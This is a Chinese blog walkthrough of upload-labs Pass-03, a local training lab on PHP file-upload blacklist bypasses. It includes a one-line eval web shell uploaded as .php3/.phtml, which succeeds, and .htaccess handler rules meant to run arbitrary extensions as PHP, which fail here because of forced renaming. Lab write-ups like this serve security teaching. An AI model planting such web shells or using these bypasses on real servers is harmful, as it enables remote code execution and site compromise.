c0ny1/upload-labs文件上传漏洞之后端少量黑名单检查文件名后缀Pass-03


本文记录Pass-03,后端检查只文件后缀名,使用文件后缀名黑名单,强制重命名,不检查内容类型。

打开http://localhost/Pass-03/index.php
查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

可以看到这段代码先去除了文件名后的点,再取后缀名,全部转换为小写,去除字符串::$DATA,再去除后缀名里的空格。
之后检查当前后缀名是否在黑名单中。

禁止了php的上传,我们可以上传其他文件,比如jpg,bin,exe等,但是这些后缀不能直接执行,所以还要看当前网站的环境。
PHP不外乎四种环境。

  • 第一种,PHP直接执行跑起来80端口。
  • 第二种,Apache、Litespeed中间件
  • 第三种,Nginx中间件。
  • 第四章,Caddy中间件。

第一种上传文件基本不会执行,第一种不依赖中间件解析,先不考虑。
第二种Apache也就是httpd,重点考虑。Apache和litespeed属于同一类,它们都使用.htaccess来配置URL重写,如果对方网站开了URL重写,还没有禁止.htaccess文件上传,就可以自己上传.htaccess来指定某文件能被PHP解析,这样即使上传了1.aaa都能被执行,这两个中间件大概率会配置支持phpphp3php5phtmlphtmphar等后缀文件解析为php程序。
第三种和第四种一起说,它们的配置文件相似,一般都只允许.php后缀的文件解析成php文件。这当然也看配置者怎么配置的,也建议试试多后缀,说不定会有收获。

第一种方法绕过成功。
cmd.php3

<?php
eval($_GET["cmd"]);
?>

这个例子中,上传php5是不会被执行的,当试着上传php3phtml后缀的小马时,能够正常执行。

第二种方法绕过失败。
接下来试试上传.htaccess文件。
.htaccess
这个规则的意思是把文件名为cmd.jpg的文件解析成php文件。

    <FilesMatch "cmd.jpg">
      SetHandler application/x-httpd-php
    </FilesMatch>

.htaccess
这个规则的意思是把所有后缀名为phpcmd的文件当作php文件解析。

    AddType application/x-httpd-php .phpcmd

把小马改名为cmd.jpg
先上传第一个.htaccess,再上传cmd.jpg。
小马没有执行,为什么?因为文件被重命名了,已经不是我指定的文件cmd.jpg了。
试试第二个.htaccess,上传第二个.htaccess再上传改名为cmd.phpcmd的文件。
小马还是未能执行,原来是.htaccess文件被重命名为2019xxxxxx.htaccess了,是我读代码不够仔细,说明探测文件后缀名加强制重命名安全性还比较高。

声明:物博网|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - c0ny1/upload-labs文件上传漏洞之后端少量黑名单检查文件名后缀Pass-03


喜欢安全与WEB开发